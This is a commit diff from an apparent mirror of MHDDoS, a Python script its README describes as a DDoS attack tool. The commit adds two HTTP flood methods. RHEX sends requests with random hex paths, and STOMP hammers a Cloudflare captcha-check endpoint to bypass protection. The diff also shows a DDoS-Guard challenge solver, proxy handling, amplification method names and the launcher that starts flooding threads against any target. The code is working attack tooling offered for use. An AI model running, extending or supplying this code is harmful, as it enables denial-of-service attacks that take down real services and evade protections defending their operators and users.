Gh0st
/
MHDDoS
mirror of https://github.com/MatrixTM/MHDDoS.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added 2 Methods (RHEX, STOMP)

This commit is contained in:
SudoLite 2022-05-01 23:25:20 +04:30
parent c2e8eb5e25
commit 6e5ef49278
2 changed files with 247 additions and 183 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
README.md
View File

@ -1,6 +1,6 @@
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p> <p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
<h1 align="center">MHDDoS - DDoS Attack Script With 53 Methods</h1> <h1 align="center">MHDDoS - DDoS Attack Script With 55 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em> <em><h5 align="center">(Programming Language - Python 3)</h5></em>
<p align="center"> <p align="center">
@ -22,6 +22,8 @@
* <img src="https://img.icons8.com/cotton/344/domain.png" width="16" height="16" alt="get"> GET | GET Flood * <img src="https://img.icons8.com/cotton/344/domain.png" width="16" height="16" alt="get"> GET | GET Flood
* <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood * <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood
* <img src="https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/OVH_Logo.svg/1200px-OVH_Logo.svg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH * <img src="https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/OVH_Logo.svg/1200px-OVH_Logo.svg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH
* <img src="https://cdn-icons-png.flaticon.com/512/1691/1691948.png" width="16" height="16" alt="ovh"> RHEX | Random HEX
* <img src="https://cdn-icons-png.flaticon.com/512/4337/4337972.png" width="16" height="16" alt="ovh"> STOMP | Bypass chk_captcha
* <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte * <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte
* <img src="https://pbs.twimg.com/profile_images/1351562987224641544/IKb4q_yd_400x400.jpg" width="16" height="16" alt="dyn"> DYN | A New Method With Random SubDomain * <img src="https://pbs.twimg.com/profile_images/1351562987224641544/IKb4q_yd_400x400.jpg" width="16" height="16" alt="dyn"> DYN | A New Method With Random SubDomain
* <img src="https://cdn-icons-png.flaticon.com/512/6991/6991643.png" width="16" height="16" alt="downloader"> DOWNLOADER | A New Method of Reading data slowly * <img src="https://cdn-icons-png.flaticon.com/512/6991/6991643.png" width="16" height="16" alt="downloader"> DOWNLOADER | A New Method of Reading data slowly

426
start.py
View File

@ -9,6 +9,7 @@ from math import log2, trunc
from multiprocessing import RawValue from multiprocessing import RawValue
from os import urandom as randbytes from os import urandom as randbytes
from pathlib import Path from pathlib import Path
from re import compile
from secrets import choice as randchoice from secrets import choice as randchoice
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname, SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
@ -34,8 +35,6 @@ from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, exceptions, get, cookies from requests import Response, Session, exceptions, get, cookies
from yarl import URL from yarl import URL
from re import compile
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s', basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S") datefmt="%H:%M:%S")
@ -50,15 +49,14 @@ __dir__: Path = Path(__file__).parent
__ip__: Any = None __ip__: Any = None
tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog'] tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog']
with open(__dir__ / "config.json") as f: with open(__dir__ / "config.json") as f:
con = load(f) con = load(f)
with socket(AF_INET, SOCK_DGRAM) as s: with socket(AF_INET, SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80)) s.connect(("8.8.8.8", 80))
__ip__ = s.getsockname()[0] __ip__ = s.getsockname()[0]
class bcolors: class bcolors:
HEADER = '\033[95m' HEADER = '\033[95m'
OKBLUE = '\033[94m' OKBLUE = '\033[94m'
@ -71,10 +69,9 @@ class bcolors:
UNDERLINE = '\033[4m' UNDERLINE = '\033[4m'
def exit(*message): def exit(*message):
if message: if message:
logger.error(bcolors.FAIL +" ".join(message) + bcolors.RESET) logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
shutdown() shutdown()
_exit(1) _exit(1)
@ -83,20 +80,18 @@ class Methods:
LAYER7_METHODS: Set[str] = { LAYER7_METHODS: Set[str] = {
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD", "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM", "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR" "APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
} }
LAYER4_AMP: Set[str] = { LAYER4_AMP: Set[str] = {
"MEM", "NTP", "DNS", "ARD", "MEM", "NTP", "DNS", "ARD",
"CLDAP", "CHAR", "RDP" "CLDAP", "CHAR", "RDP"
} }
LAYER4_METHODS: Set[str] = {*LAYER4_AMP, LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "TCP", "UDP", "SYN", "VSE", "MINECRAFT",
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE" "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
} }
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
@ -168,7 +163,7 @@ class Tools:
@staticmethod @staticmethod
def randchr(lengh: int) -> str: def randchr(lengh: int) -> str:
return str(ProxyTools.Tools.rand_char(lengh)).strip() return str(ProxyTools.Random.rand_char(lengh)).strip()
@staticmethod @staticmethod
def send(sock: socket, packet: bytes): def send(sock: socket, packet: bytes):
@ -194,7 +189,7 @@ class Tools:
idss = None idss = None
with Session() as s: with Session() as s:
if pro: if pro:
s.proxies=pro s.proxies = pro
hdrs = { hdrs = {
"User-Agent": ua, "User-Agent": ua,
"Accept": "text/html", "Accept": "text/html",
@ -206,7 +201,7 @@ class Tools:
"Sec-Fetch-User": "?1", "Sec-Fetch-User": "?1",
"TE": "trailers", "TE": "trailers",
"DNT": "1" "DNT": "1"
} }
with s.get(url, headers=hdrs) as ss: with s.get(url, headers=hdrs) as ss:
for key, value in ss.cookies.items(): for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value)) s.cookies.set_cookie(cookies.create_cookie(key, value))
@ -219,7 +214,7 @@ class Tools:
"Sec-Fetch-Dest": "script", "Sec-Fetch-Dest": "script",
"Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site" "Sec-Fetch-Site": "cross-site"
} }
with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss: with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
for key, value in ss.cookies.items(): for key, value in ss.cookies.items():
if key == '__ddg2': if key == '__ddg2':
@ -236,14 +231,14 @@ class Tools:
"Sec-Fetch-Dest": "script", "Sec-Fetch-Dest": "script",
"Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site" "Sec-Fetch-Site": "cross-site"
} }
with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss: with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
for key, value in ss.cookies.items(): for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value)) s.cookies.set_cookie(cookies.create_cookie(key, value))
return s return s
return False return False
@staticmethod @staticmethod
def safe_close(sock=None): def safe_close(sock=None):
if sock: if sock:
@ -679,7 +674,7 @@ class HttpFlood(Thread):
def getMethodType(method: str) -> str: def getMethodType(method: str) -> str:
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN", return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
"DYN", "SLOW", "PPS", "APACHE", "DYN", "SLOW", "PPS", "APACHE",
"BOT", } \ "BOT", "RHEX", "STOMP"} \
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \ else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \ else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
else "REQUESTS" else "REQUESTS"
@ -700,9 +695,9 @@ class HttpFlood(Thread):
provider = "." + randchoice(tor2webs) provider = "." + randchoice(tor2webs)
target = self._target.authority.replace(".onion", provider) target = self._target.authority.replace(".onion", provider)
payload: Any = str.encode(self._payload + payload: Any = str.encode(self._payload +
f"Host: {target}\r\n" + f"Host: {target}\r\n" +
self.randHeadercontent + self.randHeadercontent +
"\r\n") "\r\n")
s = None s = None
target = self._target.host.replace(".onion", provider), self._raw_target[1] target = self._target.host.replace(".onion", provider), self._raw_target[1]
with suppress(Exception), self.open_connection(target) as s: with suppress(Exception), self.open_connection(target) as s:
@ -867,13 +862,12 @@ class HttpFlood(Thread):
Tools.send(s, payload) Tools.send(s, payload)
Tools.safe_close(s) Tools.safe_close(s)
def DGB(self): def DGB(self):
global REQUESTS_SENT, BYTES_SEND global REQUESTS_SENT, BYTES_SEND
with suppress(Exception): with suppress(Exception):
if self._proxies: if self._proxies:
pro = randchoice(self._proxies) pro = randchoice(self._proxies)
with Tools.dgb_solver(self._target.human_repr(),randchoice(self._useragents),pro.asRequest()) as ss: with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
for _ in range(min(self._rpc, 5)): for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100) sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr(), with ss.get(self._target.human_repr(),
@ -881,25 +875,23 @@ class HttpFlood(Thread):
REQUESTS_SENT += 1 REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res) BYTES_SEND += Tools.sizeOfRequest(res)
continue continue
Tools.safe_close(ss) Tools.safe_close(ss)
with Tools.dgb_solver(self._target.human_repr(),randchoice(self._useragents)) as ss: with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
for _ in range(min(self._rpc, 5)): for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100) sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr()) as res: with ss.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1 REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res) BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(ss) Tools.safe_close(ss)
def DYN(self): def DYN(self):
payload: Any = str.encode(self._payload + payload: Any = str.encode(self._payload +
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" + f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
self.randHeadercontent + self.randHeadercontent +
"\r\n") "\r\n")
s = None s = None
with suppress(Exception), self.open_connection() as s: with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
@ -964,12 +956,75 @@ class HttpFlood(Thread):
Tools.send(s, payload) Tools.send(s, payload)
Tools.safe_close(s) Tools.safe_close(s)
def RHEX(self):
randhex = str(randbytes(randchoice([32, 64, 128])))
payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
randhex) +
"Host: %s/%s\r\n" % (self._target.authority, randhex) +
self.randHeadercontent +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STOMP(self):
dep = ('Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
hexh) +
"Host: %s/%s\r\n" % (self._target.authority, hexh) +
self.randHeadercontent + dep), str.encode(
"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
self._target.authority) +
"Host: %s\r\n" % hexh +
self.randHeadercontent + dep)
s = None
with suppress(Exception), self.open_connection() as s:
Tools.send(s, p1)
for _ in range(self._rpc):
Tools.send(s, p2)
Tools.safe_close(s)
def NULL(self) -> None: def NULL(self) -> None:
payload: Any = str.encode(self._payload + payload: Any = str.encode(self._payload +
f"Host: {self._target.authority}\r\n" + f"Host: {self._target.authority}\r\n" +
"User-Agent: null\r\n" + "User-Agent: null\r\n" +
"Referrer: null\r\n" + "Referrer: null\r\n" +
self.SpoofIP + "\r\n") self.SpoofIP + "\r\n")
s = None s = None
with suppress(Exception), self.open_connection() as s: with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
@ -1047,6 +1102,10 @@ class HttpFlood(Thread):
self.SENT_FLOOD = self.SLOW self.SENT_FLOOD = self.SLOW
if name == "GSB": if name == "GSB":
self.SENT_FLOOD = self.GSB self.SENT_FLOOD = self.GSB
if name == "RHEX":
self.SENT_FLOOD = self.RHEX
if name == "STOMP":
self.SENT_FLOOD = self.STOMP
if name == "NULL": if name == "NULL":
self.SENT_FLOOD = self.NULL self.SENT_FLOOD = self.NULL
if name == "COOKIE": if name == "COOKIE":
@ -1072,7 +1131,9 @@ class ProxyManager:
provider for provider in cf["proxy-providers"] provider for provider in cf["proxy-providers"]
if provider["type"] == Proxy_type or Proxy_type == 0 if provider["type"] == Proxy_type or Proxy_type == 0
] ]
logger.info(f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(providrs)) logger.info(
f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
providrs))
proxes: Set[Proxy] = set() proxes: Set[Proxy] = set()
with ThreadPoolExecutor(len(providrs)) as executor: with ThreadPoolExecutor(len(providrs)) as executor:
@ -1199,9 +1260,9 @@ class ToolsConsole:
with get(domain, timeout=20) as r: with get(domain, timeout=20) as r:
logger.info(('status_code: %d\n' logger.info(('status_code: %d\n'
'status: %s') % 'status: %s') %
(r.status_code, "ONLINE" (r.status_code, "ONLINE"
if r.status_code <= 500 else "OFFLINE")) if r.status_code <= 500 else "OFFLINE"))
if cmd == "INFO": if cmd == "INFO":
while True: while True:
@ -1368,7 +1429,8 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
if proxy_ty == 6: if proxy_ty == 6:
proxy_ty = randchoice([4, 5, 1]) proxy_ty = randchoice([4, 5, 1])
if not proxy_li.exists(): if not proxy_li.exists():
logger.warning(f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}") logger.warning(
f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
proxy_li.parent.mkdir(parents=True, exist_ok=True) proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr: with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty) Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
@ -1402,170 +1464,170 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
if __name__ == '__main__': if __name__ == '__main__':
with suppress(KeyboardInterrupt): with suppress(KeyboardInterrupt):
with suppress(IndexError): with suppress(IndexError):
one = argv[1].upper() one = argv[1].upper()
if one == "HELP": if one == "HELP":
raise IndexError() raise IndexError()
if one == "TOOLS": if one == "TOOLS":
ToolsConsole.runConsole() ToolsConsole.runConsole()
if one == "STOP": if one == "STOP":
ToolsConsole.stop() ToolsConsole.stop()
method = one method = one
host = None host = None
port= None port = None
url = None url = None
event = Event() event = Event()
event.clear() event.clear()
target = None target = None
urlraw = argv[2].strip() urlraw = argv[2].strip()
if not urlraw.startswith("http"): if not urlraw.startswith("http"):
urlraw = "http://" + urlraw urlraw = "http://" + urlraw
if method not in Methods.ALL_METHODS: if method not in Methods.ALL_METHODS:
exit("Method Not Found %s" % exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS)) ", ".join(Methods.ALL_METHODS))
if method in Methods.LAYER7_METHODS:
url = URL(urlraw)
host = url.host
if method in Methods.LAYER7_METHODS: if method != "TOR":
url = URL(urlraw) try:
host = url.host host = gethostbyname(url.host)
except Exception as e:
exit('Cannot resolve hostname ', url.host, str(e))
if method != "TOR": threads = int(argv[4])
try: rpc = int(argv[6])
host = gethostbyname(url.host) timer = int(argv[7])
except Exception as e: proxy_ty = int(argv[3].strip())
exit('Cannot resolve hostname ', url.host, str(e)) proxy_li = Path(__dir__ / "files/proxies/" /
argv[5].strip())
threads = int(argv[4]) useragent_li = Path(__dir__ / "files/useragent.txt")
rpc = int(argv[6]) referers_li = Path(__dir__ / "files/referers.txt")
timer = int(argv[7]) bombardier_path = Path.home() / "go/bin/bombardier"
proxy_ty = int(argv[3].strip()) proxies: Any = set()
proxy_li = Path(__dir__ / "files/proxies/" /
argv[5].strip())
useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt")
bombardier_path = Path.home() / "go/bin/bombardier"
proxies: Any = set()
if method == "BOMB": if method == "BOMB":
assert ( assert (
bombardier_path.exists() bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists() or bombardier_path.with_suffix('.exe').exists()
), ( ), (
"Install bombardier: " "Install bombardier: "
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method" "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
) )
if len(argv) == 9: if len(argv) == 9:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
if not useragent_li.exists(): if not useragent_li.exists():
exit("The Useragent file doesn't exist ") exit("The Useragent file doesn't exist ")
if not referers_li.exists(): if not referers_li.exists():
exit("The Referer file doesn't exist ") exit("The Referer file doesn't exist ")
uagents = set(a.strip() uagents = set(a.strip()
for a in useragent_li.open("r+").readlines()) for a in useragent_li.open("r+").readlines())
referers = set(a.strip() referers = set(a.strip()
for a in referers_li.open("r+").readlines()) for a in referers_li.open("r+").readlines())
if not uagents: exit("Empty Useragent File ") if not uagents: exit("Empty Useragent File ")
if not referers: exit("Empty Referer File ") if not referers: exit("Empty Referer File ")
if threads > 1000: if threads > 1000:
logger.warning("Thread is higher than 1000") logger.warning("Thread is higher than 1000")
if rpc > 100: if rpc > 100:
logger.warning( logger.warning(
"RPC (Request Pre Connection) is higher than 100") "RPC (Request Pre Connection) is higher than 100")
proxies = handleProxyList(con, proxy_li, proxy_ty, url) proxies = handleProxyList(con, proxy_li, proxy_ty, url)
for thread_id in range(threads): for thread_id in range(threads):
HttpFlood(thread_id, url, host, method, rpc, event, HttpFlood(thread_id, url, host, method, rpc, event,
uagents, referers, proxies).start() uagents, referers, proxies).start()
if method in Methods.LAYER4_METHODS: if method in Methods.LAYER4_METHODS:
target = URL(urlraw) target = URL(urlraw)
port = target.port port = target.port
target = target.host target = target.host
try: try:
target = gethostbyname(target) target = gethostbyname(target)
except Exception as e: except Exception as e:
exit('Cannot resolve hostname ', url.host, e) exit('Cannot resolve hostname ', url.host, e)
if port > 65535 or port < 1: if port > 65535 or port < 1:
exit("Invalid Port [Min: 1 / Max: 65535] ") exit("Invalid Port [Min: 1 / Max: 65535] ")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \ if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
not ToolsConsole.checkRawSocket(): not ToolsConsole.checkRawSocket():
exit("Cannot Create Raw Socket") exit("Cannot Create Raw Socket")
if method in Methods.LAYER4_AMP: if method in Methods.LAYER4_AMP:
logger.warning("this method need spoofable servers please check") logger.warning("this method need spoofable servers please check")
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack") logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
threads = int(argv[3]) threads = int(argv[3])
timer = int(argv[4]) timer = int(argv[4])
proxies = None proxies = None
ref = None ref = None
if not port: if not port:
logger.warning("Port Not Selected, Set To Default: 80") logger.warning("Port Not Selected, Set To Default: 80")
port = 80 port = 80
if method == "SYN": if method == "SYN":
__ip__ = getMyIPAddress() __ip__ = __ip__
if len(argv) >= 6: if len(argv) >= 6:
argfive = argv[5].strip() argfive = argv[5].strip()
if argfive: if argfive:
refl_li = Path(__dir__ / "files" / argfive) refl_li = Path(__dir__ / "files" / argfive)
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}: if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
if not refl_li.exists(): if not refl_li.exists():
exit("The reflector file doesn't exist") exit("The reflector file doesn't exist")
if len(argv) == 7: if len(argv) == 7:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
ref = set(a.strip() ref = set(a.strip()
for a in Tools.IP.findall(refl_li.open("r").read())) for a in Tools.IP.findall(refl_li.open("r").read()))
if not ref: exit("Empty Reflector File ") if not ref: exit("Empty Reflector File ")
elif argfive.isdigit() and len(argv) >= 7: elif argfive.isdigit() and len(argv) >= 7:
if len(argv) == 8: if len(argv) == 8:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
proxy_ty = int(argfive) proxy_ty = int(argfive)
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip()) proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
proxies = handleProxyList(con, proxy_li, proxy_ty) proxies = handleProxyList(con, proxy_li, proxy_ty)
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}: if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
exit("this method cannot use for layer4 proxy") exit("this method cannot use for layer4 proxy")
else: else:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
for _ in range(threads): for _ in range(threads):
Layer4((target, port), ref, method, event, Layer4((target, port), ref, method, event,
proxies).start() proxies).start()
logger.info( logger.info(
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}" f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
% (target or url.host, method, timer, threads)) % (target or url.host, method, timer, threads))
event.set() event.set()
ts = time() ts = time()
while time() < ts + timer: while time() < ts + timer:
logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' % logger.debug(
(target or url.host, f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
port or (url.port or 80), (target or url.host,
method, port or (url.port or 80),
Tools.humanformat(int(REQUESTS_SENT)), method,
Tools.humanbytes(int(BYTES_SEND)), Tools.humanformat(int(REQUESTS_SENT)),
round((time() - ts) / timer * 100, 2))) Tools.humanbytes(int(BYTES_SEND)),
REQUESTS_SENT.set(0) round((time() - ts) / timer * 100, 2)))
BYTES_SEND.set(0) REQUESTS_SENT.set(0)
sleep(1) BYTES_SEND.set(0)
sleep(1)
event.clear() event.clear()
exit() exit()
ToolsConsole.usage() ToolsConsole.usage()